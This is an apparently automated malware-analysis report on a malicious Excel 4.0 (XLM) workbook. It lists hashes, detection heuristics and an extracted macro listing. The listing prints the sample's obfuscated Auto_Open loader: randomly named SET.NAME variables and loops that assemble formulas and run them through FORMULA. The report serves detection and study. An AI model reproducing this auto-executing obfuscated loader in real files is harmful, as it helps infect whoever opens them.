Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 67a6ae0924ee0a9a…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:24:37 Authoring application: Microsoft Excel First seen: 2021-03-01
MD5: 825ee9c7336a32aa9b58309084effb0a SHA-1: 70ba2f9d59d974be6d604a0d5cbbd4d38866b803 SHA-256: 67a6ae0924ee0a9ac880bb1183f4c6814a878a9a0a746f1f5536484c76c0df5b
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6451 bytes
SHA-256: b91b7ccc6b901549541830d8a93dab54ee5e7dfcdc9f964baa9303b9d7528eb4
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     15 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  QBwGIR
' 0018     21 LABEL : Cell Value, String Constant - aFdwhe len=0 
' 0018     21 LABEL : Cell Value, String Constant - AGUMKj len=0 
' 0018     23 LABEL : Cell Value, String Constant - ateOaYeZ len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!I173 
' 0018     26 LABEL : Cell Value, String Constant - dzeTDYgBqsP len=0 
' 0018     20 LABEL : Cell Value, String Constant - EDLrO len=0 
' 0018     23 LABEL : Cell Value, String Constant - eqgziely len=0 
' 0018     22 LABEL : Cell Value, String Constant - KZgeEZq len=0 
' 0018     20 LABEL : Cell Value, String Constant - LVTNR len=0 
' 0018     27 LABEL : Cell Value, String Constant - MbRSsHvntDCf len=0 
' 0018     26 LABEL : Cell Value, String Constant - NzkccJBuyEj len=0 
' 0018     24 LABEL : Cell Value, String Constant - NZzwrnTzl len=0 
' 0018     25 LABEL : Cell Value, String Constant - onueWTFgFU len=0 
' 0018     25 LABEL : Cell Value, String Constant - PellyExvXE len=0 
' 0018     21 LABEL : Cell Value, String Constant - tjfBQe len=0 
' 0018     20 LABEL : Cell Value, String Constant - VEJxe len=0 
' 0018     26 LABEL : Cell Value, String Constant - VQwWaWgWldj len=0 
' 0018     22 LABEL : Cell Value, String Constant - WSSNmQL len=0 
' 0018     22 LABEL : Cell Value, String Constant - yIQWvmj len=0 
' 0018     25 LABEL : Cell Value, String Constant - ZCdawigaPW len=0 
' 0018     21 LABEL : Cell Value, String Constant - zrFuQm len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  QBwGIR,I83,"SET.NAME("eqgziely",VALUE("0"))",""
'  QBwGIR,I87,"SET.NAME("NZzwrnTzl",eqgziely)",""
'  QBwGIR,I89,"SET.NAME("AGUMKj",eqgziely)",""
'  QBwGIR,I93,"SET.NAME("VEJxe",COUNTA(onueWTFgFU))",""
'  QBwGIR,I98,"SET.NAME("EDLrO",COUNTA(KZgeEZq))",""
'  QBwGIR,I100,[],""
'  QBwGIR,I105,"SET.NAME("aFdwhe","")",""
'  QBwGIR,I107,"NZzwrnTzl",""
'  QBwGIR,I111,"SET.NAME("ZCdawigaPW",HLOOKUP("*",onueWTFgFU,NZzwrnTzl,FALSE))",""
'  QBwGIR,I115,"yIQWvmj",""
'  QBwGIR,I119,"SET.NAME("zrFuQm",eqgziely)",""
'  QBwGIR,I123,[],""
'  QBwGIR,I125,"zrFuQm",""
'  QBwGIR,I127,"tjfBQe",""
'  QBwGIR,I132,"LVTNR",""
'  QBwGIR,I135,"PellyExvXE",""
'  QBwGIR,I139,"SET.NAME("VQwWaWgWldj",VALUE(HLOOKUP("*",KZgeEZq,PellyExvXE,FALSE)))",""
'  QBwGIR,I141,"dzeTDYgBqsP",""
'  QBwGIR,I146,"aFdwhe",""
'  QBwGIR,I148,"AGUMKj",""
'  QBwGIR,I150,NEXT(),""
'  QBwGIR,I155,"WSSNmQL",""
'  QBwGIR,I159,"SET.NAME("f",INT(T(FORMULA(T(aFdwhe)&"",""&T(WSSNmQL)))))",""
'  QBwGIR,I163,"ateOaYeZ",""
'  QBwGIR,I165,NEXT(),""
'  QBwGIR,I169,RETURN(),""
'  QBwGIR,I198,"SET.NAME("MbRSsHvntDCf",I83)",""
'  QBwGIR,I201,"onueWTFgFU",""
'  QBwGIR,I205,"SET.NAME("KZgeEZq",R44C14)",""
'  QBwGIR,I210,"SET.NAME("ateOaYeZ",219)",""
'  QBwGIR,I213,"SET.NAME("NzkccJBuyEj",9)",""
'  QBwGIR,I218,MbRSsHvntDCf(),""
'  QBwGIR,I219,HALT(),""

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